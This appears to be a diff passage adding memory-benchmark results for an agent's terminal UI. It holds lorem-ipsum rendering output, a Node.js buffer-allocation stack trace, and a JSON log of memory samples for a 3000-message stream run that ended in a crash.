pariatur││ ⧉ copy ⚕- - - const x0 = 6function f1() { return x} ⧉ copy ⚕◐Thought: Elit mollit pariatur - - - const x1 = 7function f2() { return x}⧉ copy●7 ⧉ copy ⚕ ● web_search Quis eiusmod lorem occaecat. · 0.9s (18 lines) ◆write_file Dolor proident velit laboris. · 1.0s (7 lines) ⚡terminal Cillum commodo enim adipiscing. · 0s◐- - - const x5 = 67function f2() { return x}Quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris magna amet. Mollit pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris.- Dolor proident velit laboris magna.- Cillum commodo enim adipiscing deserunt nulla duis.- Veniam sed anim excepteur.Irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip. Sed anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt.$ terminal1.1s (2 lines)⚕ ⧉ copy ⚕◐Thought: Exercitation incididunt dolor ⧉ copy ⚕▍ ⚕◐Thought: Amet culpa cillum ⧉ copy ⚕ ◦edit_file Nostrud tempor ipsum cupidatat. · 0.1s (7 lines)8 - - - const x5 = 98function f3() { return x}⧉ copy⚕Nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip. Anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt. Duis veniam sed anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore.- Sit sunt esse aliquip aliqua.- Fugiat consequat minim elit mollit pariatur aute.- Quis eiusmod lorem occaecat.Reprehenderit exercitation incididunt dolor proident velit laboris magna amet culpa. Eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris magna.◦edit_file Nostrud tempor ipsum cupidatat. · 0.1s (7 lines)⚡grep Sitsunt esse aliquip. ·0s ⚕ ⧉ copy ⚕▼Thinking: Reprehenderit exercitation incididunt │ │ ⚕- - - const x0 = 63function f3() { return x} ⧉ copy⚕▼Thinking: Reprehenderit exercitation incididunt│Officia fugiat consequat minim elit mollit pariatur aute. Aliquip aliqua consectetur officia fugiat consequat│minim elit mollit. 9file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:14915\n throw new Error(`Failed to create optimized buffer: ${width}x${height}`);\n ^\nError: Failed to create optimized buffer: 120x12\n at FFIRenderLib.createOptimizedBuffer (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:14915:13)\n at OptimizedBuffer.create (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:11918:24)\n at TerminalConsole.show (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:21058:44)\n at CliRenderer.<anonymous> (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:23222:20)\n at process.emit (node:events:509:20)\n at process._fatalException (node:internal/process/execution:190:32)\nNode.js v26.3.0"
|
||||
}
|
||||
1336
bench/results/2026-06-10T2059-50e3471-mem3000-ink-ink-r0.json
Normal file
1395
bench/results/2026-06-10T2059-50e3471-mem3000-ink-ink-r1.json
Normal file
@@ -0,0 +1,782 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "mem3000",
|
||||
"ui": "opentui",
|
||||
"config": "otui-capped",
|
||||
"mode": "mem",
|
||||
"rep": 2,
|
||||
"run_id": "mq8jyv88-jxa2",
|
||||
"utc": "2026-06-10T21:00:19.736Z",
|
||||
"sha": "50e34713b",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": "2G",
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": 3000,
|
||||
"fixture": {
|
||||
"path": "/home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/bench/.cache/fixture-3000.ndjson",
|
||||
"msgs": 3000,
|
||||
"sha256": "0df05a04a611dda68aa07865f21c45b08edc78e0a71d4c8cb2b674729778d96d"
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2369887,
|
||||
"gw_pid": 2369896,
|
||||
"cgroup": "/sys/fs/cgroup/user.slice/user-1001.slice/session-7349.scope",
|
||||
"load_avg_at_start": [
|
||||
1.06,
|
||||
0.64,
|
||||
0.49
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 27,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 44476,
|
||||
"pss_kb": 19055,
|
||||
"private_dirty_kb": 8312,
|
||||
"vmhwm_kb": 45344,
|
||||
"utime_ticks": 1,
|
||||
"stime_ticks": 0,
|
||||
"cg_current": 3178012672,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1034,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 104504,
|
||||
"pss_kb": 63459,
|
||||
"private_dirty_kb": 47832,
|
||||
"vmhwm_kb": 107224,
|
||||
"utime_ticks": 17,
|
||||
"stime_ticks": 2,
|
||||
"cg_current": 3179597824,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1689,
|
||||
"msgs": 100,
|
||||
"events": 355,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 108328,
|
||||
"pss_kb": 67246,
|
||||
"private_dirty_kb": 51656,
|
||||
"vmhwm_kb": 108332,
|
||||
"utime_ticks": 18,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 3185025024,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1714,
|
||||
"msgs": 200,
|
||||
"events": 738,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 120484,
|
||||
"pss_kb": 79217,
|
||||
"private_dirty_kb": 63496,
|
||||
"vmhwm_kb": 120492,
|
||||
"utime_ticks": 23,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 3186782208,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1715,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 120512,
|
||||
"pss_kb": 79245,
|
||||
"private_dirty_kb": 63524,
|
||||
"vmhwm_kb": 120520,
|
||||
"utime_ticks": 23,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 3186782208,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1716,
|
||||
"msgs": 400,
|
||||
"events": 1432,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 120520,
|
||||
"pss_kb": 79253,
|
||||
"private_dirty_kb": 63532,
|
||||
"vmhwm_kb": 120520,
|
||||
"utime_ticks": 24,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 3186782208,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1990,
|
||||
"msgs": 501,
|
||||
"events": 1792,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 221328,
|
||||
"pss_kb": 177861,
|
||||
"private_dirty_kb": 161396,
|
||||
"vmhwm_kb": 221404,
|
||||
"utime_ticks": 74,
|
||||
"stime_ticks": 6,
|
||||
"cg_current": 3179270144,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 2041,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 232640,
|
||||
"pss_kb": 189143,
|
||||
"private_dirty_kb": 172648,
|
||||
"vmhwm_kb": 232648,
|
||||
"utime_ticks": 80,
|
||||
"stime_ticks": 7,
|
||||
"cg_current": 3179270144,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2266,
|
||||
"msgs": 601,
|
||||
"events": 2154,
|
||||
"pty_bytes": 35690,
|
||||
"pty_writes": 16,
|
||||
"rss_kb": 265936,
|
||||
"pss_kb": 222429,
|
||||
"private_dirty_kb": 205944,
|
||||
"vmhwm_kb": 265936,
|
||||
"utime_ticks": 108,
|
||||
"stime_ticks": 9,
|
||||
"cg_current": 3176169472,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2527,
|
||||
"msgs": 701,
|
||||
"events": 2496,
|
||||
"pty_bytes": 40354,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 304772,
|
||||
"pss_kb": 261057,
|
||||
"private_dirty_kb": 244464,
|
||||
"vmhwm_kb": 305004,
|
||||
"utime_ticks": 143,
|
||||
"stime_ticks": 11,
|
||||
"cg_current": 3176157184,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2531,
|
||||
"msgs": 801,
|
||||
"events": 2857,
|
||||
"pty_bytes": 40354,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 305492,
|
||||
"pss_kb": 261777,
|
||||
"private_dirty_kb": 245184,
|
||||
"vmhwm_kb": 305504,
|
||||
"utime_ticks": 144,
|
||||
"stime_ticks": 11,
|
||||
"cg_current": 3176157184,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2533,
|
||||
"msgs": 901,
|
||||
"events": 3245,
|
||||
"pty_bytes": 40354,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 306248,
|
||||
"pss_kb": 262533,
|
||||
"private_dirty_kb": 245940,
|
||||
"vmhwm_kb": 306616,
|
||||
"utime_ticks": 145,
|
||||
"stime_ticks": 11,
|
||||
"cg_current": 3176157184,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2535,
|
||||
"msgs": 1001,
|
||||
"events": 3588,
|
||||
"pty_bytes": 40354,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 308884,
|
||||
"pss_kb": 265169,
|
||||
"private_dirty_kb": 248576,
|
||||
"vmhwm_kb": 308916,
|
||||
"utime_ticks": 146,
|
||||
"stime_ticks": 11,
|
||||
"cg_current": 3176157184,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2537,
|
||||
"msgs": 1101,
|
||||
"events": 3928,
|
||||
"pty_bytes": 40354,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 309176,
|
||||
"pss_kb": 265461,
|
||||
"private_dirty_kb": 248868,
|
||||
"vmhwm_kb": 309192,
|
||||
"utime_ticks": 146,
|
||||
"stime_ticks": 11,
|
||||
"cg_current": 3176157184,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2539,
|
||||
"msgs": 1201,
|
||||
"events": 4298,
|
||||
"pty_bytes": 40354,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 309444,
|
||||
"pss_kb": 265729,
|
||||
"private_dirty_kb": 249136,
|
||||
"vmhwm_kb": 309492,
|
||||
"utime_ticks": 147,
|
||||
"stime_ticks": 11,
|
||||
"cg_current": 3176157184,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 3050,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 40354,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 460952,
|
||||
"pss_kb": 417124,
|
||||
"private_dirty_kb": 400520,
|
||||
"vmhwm_kb": 460952,
|
||||
"utime_ticks": 231,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3176210432,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3126,
|
||||
"msgs": 1300,
|
||||
"events": 4659,
|
||||
"pty_bytes": 43401,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 463816,
|
||||
"pss_kb": 419988,
|
||||
"private_dirty_kb": 403384,
|
||||
"vmhwm_kb": 463832,
|
||||
"utime_ticks": 239,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3175964672,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3427,
|
||||
"msgs": 1400,
|
||||
"events": 5011,
|
||||
"pty_bytes": 46365,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 493888,
|
||||
"pss_kb": 450060,
|
||||
"private_dirty_kb": 433456,
|
||||
"vmhwm_kb": 493964,
|
||||
"utime_ticks": 273,
|
||||
"stime_ticks": 22,
|
||||
"cg_current": 3175645184,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3901,
|
||||
"msgs": 1500,
|
||||
"events": 5384,
|
||||
"pty_bytes": 51265,
|
||||
"pty_writes": 23,
|
||||
"rss_kb": 525952,
|
||||
"pss_kb": 482124,
|
||||
"private_dirty_kb": 465520,
|
||||
"vmhwm_kb": 525952,
|
||||
"utime_ticks": 323,
|
||||
"stime_ticks": 24,
|
||||
"cg_current": 3176116224,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 4057,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 51265,
|
||||
"pty_writes": 23,
|
||||
"rss_kb": 526368,
|
||||
"pss_kb": 482540,
|
||||
"private_dirty_kb": 465936,
|
||||
"vmhwm_kb": 526368,
|
||||
"utime_ticks": 339,
|
||||
"stime_ticks": 24,
|
||||
"cg_current": 3176116224,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4430,
|
||||
"msgs": 1600,
|
||||
"events": 5730,
|
||||
"pty_bytes": 53320,
|
||||
"pty_writes": 25,
|
||||
"rss_kb": 557660,
|
||||
"pss_kb": 513832,
|
||||
"private_dirty_kb": 497228,
|
||||
"vmhwm_kb": 557660,
|
||||
"utime_ticks": 382,
|
||||
"stime_ticks": 25,
|
||||
"cg_current": 3175940096,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5006,
|
||||
"msgs": 1700,
|
||||
"events": 6100,
|
||||
"pty_bytes": 57903,
|
||||
"pty_writes": 28,
|
||||
"rss_kb": 578676,
|
||||
"pss_kb": 534848,
|
||||
"private_dirty_kb": 518244,
|
||||
"vmhwm_kb": 578704,
|
||||
"utime_ticks": 465,
|
||||
"stime_ticks": 27,
|
||||
"cg_current": 3175710720,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5009,
|
||||
"msgs": 1800,
|
||||
"events": 6455,
|
||||
"pty_bytes": 57903,
|
||||
"pty_writes": 28,
|
||||
"rss_kb": 578944,
|
||||
"pss_kb": 535116,
|
||||
"private_dirty_kb": 518512,
|
||||
"vmhwm_kb": 579020,
|
||||
"utime_ticks": 465,
|
||||
"stime_ticks": 27,
|
||||
"cg_current": 3175710720,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5012,
|
||||
"msgs": 1900,
|
||||
"events": 6838,
|
||||
"pty_bytes": 57903,
|
||||
"pty_writes": 28,
|
||||
"rss_kb": 579192,
|
||||
"pss_kb": 535364,
|
||||
"private_dirty_kb": 518760,
|
||||
"vmhwm_kb": 579280,
|
||||
"utime_ticks": 465,
|
||||
"stime_ticks": 27,
|
||||
"cg_current": 3175710720,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5015,
|
||||
"msgs": 2000,
|
||||
"events": 7151,
|
||||
"pty_bytes": 57903,
|
||||
"pty_writes": 28,
|
||||
"rss_kb": 579412,
|
||||
"pss_kb": 535584,
|
||||
"private_dirty_kb": 518980,
|
||||
"vmhwm_kb": 579512,
|
||||
"utime_ticks": 465,
|
||||
"stime_ticks": 27,
|
||||
"cg_current": 3175710720,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5017,
|
||||
"msgs": 2100,
|
||||
"events": 7532,
|
||||
"pty_bytes": 57903,
|
||||
"pty_writes": 28,
|
||||
"rss_kb": 579704,
|
||||
"pss_kb": 535876,
|
||||
"private_dirty_kb": 519272,
|
||||
"vmhwm_kb": 579748,
|
||||
"utime_ticks": 466,
|
||||
"stime_ticks": 27,
|
||||
"cg_current": 3175710720,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5020,
|
||||
"msgs": 2201,
|
||||
"events": 7892,
|
||||
"pty_bytes": 57903,
|
||||
"pty_writes": 28,
|
||||
"rss_kb": 579840,
|
||||
"pss_kb": 536012,
|
||||
"private_dirty_kb": 519408,
|
||||
"vmhwm_kb": 579892,
|
||||
"utime_ticks": 466,
|
||||
"stime_ticks": 27,
|
||||
"cg_current": 3175710720,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5023,
|
||||
"msgs": 2301,
|
||||
"events": 8254,
|
||||
"pty_bytes": 57903,
|
||||
"pty_writes": 28,
|
||||
"rss_kb": 580160,
|
||||
"pss_kb": 536332,
|
||||
"private_dirty_kb": 519728,
|
||||
"vmhwm_kb": 580244,
|
||||
"utime_ticks": 467,
|
||||
"stime_ticks": 27,
|
||||
"cg_current": 3175710720,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 5056,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 57903,
|
||||
"pty_writes": 28,
|
||||
"rss_kb": 590484,
|
||||
"pss_kb": 546656,
|
||||
"private_dirty_kb": 530052,
|
||||
"vmhwm_kb": 590492,
|
||||
"utime_ticks": 471,
|
||||
"stime_ticks": 27,
|
||||
"cg_current": 3175710720,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5735,
|
||||
"msgs": 2401,
|
||||
"events": 8596,
|
||||
"pty_bytes": 60575,
|
||||
"pty_writes": 29,
|
||||
"rss_kb": 733132,
|
||||
"pss_kb": 689304,
|
||||
"private_dirty_kb": 672700,
|
||||
"vmhwm_kb": 733140,
|
||||
"utime_ticks": 550,
|
||||
"stime_ticks": 33,
|
||||
"cg_current": 3175919616,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 6059,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 60575,
|
||||
"pty_writes": 29,
|
||||
"rss_kb": 765664,
|
||||
"pss_kb": 721836,
|
||||
"private_dirty_kb": 705232,
|
||||
"vmhwm_kb": 765664,
|
||||
"utime_ticks": 584,
|
||||
"stime_ticks": 35,
|
||||
"cg_current": 3176443904,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 6460,
|
||||
"msgs": 2501,
|
||||
"events": 8957,
|
||||
"pty_bytes": 63490,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 769720,
|
||||
"pss_kb": 725892,
|
||||
"private_dirty_kb": 709288,
|
||||
"vmhwm_kb": 769736,
|
||||
"utime_ticks": 624,
|
||||
"stime_ticks": 35,
|
||||
"cg_current": 3176296448,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 7064,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 65023,
|
||||
"pty_writes": 32,
|
||||
"rss_kb": 797028,
|
||||
"pss_kb": 753200,
|
||||
"private_dirty_kb": 736596,
|
||||
"vmhwm_kb": 797028,
|
||||
"utime_ticks": 686,
|
||||
"stime_ticks": 38,
|
||||
"cg_current": 3176087552,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 7241,
|
||||
"msgs": 2601,
|
||||
"events": 9345,
|
||||
"pty_bytes": 66694,
|
||||
"pty_writes": 33,
|
||||
"rss_kb": 798308,
|
||||
"pss_kb": 754480,
|
||||
"private_dirty_kb": 737876,
|
||||
"vmhwm_kb": 798316,
|
||||
"utime_ticks": 704,
|
||||
"stime_ticks": 38,
|
||||
"cg_current": 3175837696,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 7798,
|
||||
"msgs": 2701,
|
||||
"events": 9688,
|
||||
"pty_bytes": 68453,
|
||||
"pty_writes": 34,
|
||||
"rss_kb": 825628,
|
||||
"pss_kb": 781800,
|
||||
"private_dirty_kb": 765196,
|
||||
"vmhwm_kb": 825628,
|
||||
"utime_ticks": 761,
|
||||
"stime_ticks": 40,
|
||||
"cg_current": 3176284160,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 8076,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 69629,
|
||||
"pty_writes": 35,
|
||||
"rss_kb": 831440,
|
||||
"pss_kb": 787612,
|
||||
"private_dirty_kb": 771008,
|
||||
"vmhwm_kb": 834344,
|
||||
"utime_ticks": 789,
|
||||
"stime_ticks": 40,
|
||||
"cg_current": 3176284160,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 8654,
|
||||
"msgs": 2801,
|
||||
"events": 10028,
|
||||
"pty_bytes": 71439,
|
||||
"pty_writes": 36,
|
||||
"rss_kb": 856908,
|
||||
"pss_kb": 813080,
|
||||
"private_dirty_kb": 796476,
|
||||
"vmhwm_kb": 856908,
|
||||
"utime_ticks": 847,
|
||||
"stime_ticks": 42,
|
||||
"cg_current": 3176873984,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 9080,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 74354,
|
||||
"pty_writes": 37,
|
||||
"rss_kb": 885440,
|
||||
"pss_kb": 841612,
|
||||
"private_dirty_kb": 825008,
|
||||
"vmhwm_kb": 885440,
|
||||
"utime_ticks": 890,
|
||||
"stime_ticks": 45,
|
||||
"cg_current": 3177000960,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 9505,
|
||||
"msgs": 2901,
|
||||
"events": 10398,
|
||||
"pty_bytes": 76085,
|
||||
"pty_writes": 38,
|
||||
"rss_kb": 888096,
|
||||
"pss_kb": 844268,
|
||||
"private_dirty_kb": 827664,
|
||||
"vmhwm_kb": 888096,
|
||||
"utime_ticks": 934,
|
||||
"stime_ticks": 45,
|
||||
"cg_current": 3176677376,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 9807,
|
||||
"msgs": 3000,
|
||||
"events": 10759,
|
||||
"pty_bytes": 76940,
|
||||
"pty_writes": 39,
|
||||
"rss_kb": 891124,
|
||||
"pss_kb": 847296,
|
||||
"private_dirty_kb": 830692,
|
||||
"vmhwm_kb": 891164,
|
||||
"utime_ticks": 965,
|
||||
"stime_ticks": 45,
|
||||
"cg_current": 3176747008,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "done",
|
||||
"t_ms": 9814,
|
||||
"msgs": 3000,
|
||||
"events": 10759,
|
||||
"pty_bytes": 76940,
|
||||
"pty_writes": 39,
|
||||
"rss_kb": 891240,
|
||||
"pss_kb": 847412,
|
||||
"private_dirty_kb": 830808,
|
||||
"vmhwm_kb": 891248,
|
||||
"utime_ticks": 965,
|
||||
"stime_ticks": 45,
|
||||
"cg_current": 3176747008,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 177
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "startup.catalog",
|
||||
"t_ms": 177
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "model.options",
|
||||
"t_ms": 177
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "crashed_after_stream",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 7,
|
||||
"signal": 0,
|
||||
"t": 9862
|
||||
},
|
||||
"stream_done": true,
|
||||
"msgs_streamed": 3000,
|
||||
"events_streamed": 10759,
|
||||
"pty_bytes_total": 78203,
|
||||
"pty_data_callbacks": 40,
|
||||
"first_byte_ms": 141,
|
||||
"session_create_ms": 177,
|
||||
"stream_start_ms": 1688,
|
||||
"vmhwm_kb": 891248,
|
||||
"cg_peak": 6536753152,
|
||||
"drain_max_loop_lag_ms": 22,
|
||||
"drain_lag_violations": 3,
|
||||
"drain_ok": false,
|
||||
"digest": null
|
||||
},
|
||||
"pty_tail": " commodo enim adipiscing.- Duis veniam sed anim excepteur irure nostrud.- Tempor ipsum cupidatat voluptate.Ullamco labore sit sunt esse aliquip aliqua consectetur. Ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip.⚡terminal Incididunt dolor proident velit. · 0s◐Thought: Proident velit laboris ⧉ copy ⚕ ◦ edit_file Sed anim excepteu rure. · 13s (7 lines) - - - const x2 = 90function f0() { return x}⧉ copy⚕Sed anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore. Nulla duis veniam sed anim excepteur irure nostrud tempor ipsum cupidatat voluptate. Enim adipiscing deserunt nulla duis veniam sed anim excepteur irure nostrud tempor ipsum.- Cupidatat voluptate ullamco labore sit.- Aliquip aliqua consectetur officia fugiat consequat minim.- Elit mollit pariatur aute.Quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit. Mollit pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor.◦edit_file Sed anim excepteur irure. · 1.3s (7 lines)⚡grep Cupidatat voluptate ullamco labore. ·0s 6 ⧉ copy⚕ ◦edit_file Nulla duis veniam sed. · 3.3s (7 lines) ◦ grep Nostrud tempor ipsum cupidatat. · 3.4s (2 lines) ●web_search Sit sunt esse aliquip. · 3.5s (18 lines) - const x0 = 51function f1() { return x}⧉ copy⚕ ⧉ copy◦edit_file Nulla duis veniam sed. · 3.3s (7 lines) ◦grep Nostrud tempor ipsum cupidatat. · 3.4s (2 lines) ●web_search Sit sunt esse aliquip. · 3.5s (18 lines) ⧉ copy● ⧉ copy ⚕ ▼ Thinking: Mollit pariatur aute ││ $terminal Mollit pariatur aute quis. · 1.7s (2 lines) ◇ read_file Reprehenderit exercitation incididunt dolor. · 1.8s (18 lines)Magnametculp cillum. · 1.9s (7 lines)Deent nulladuis veniam. · 2.0s (2lines) Irure ostrudtempor ipsum. ·2.s (18 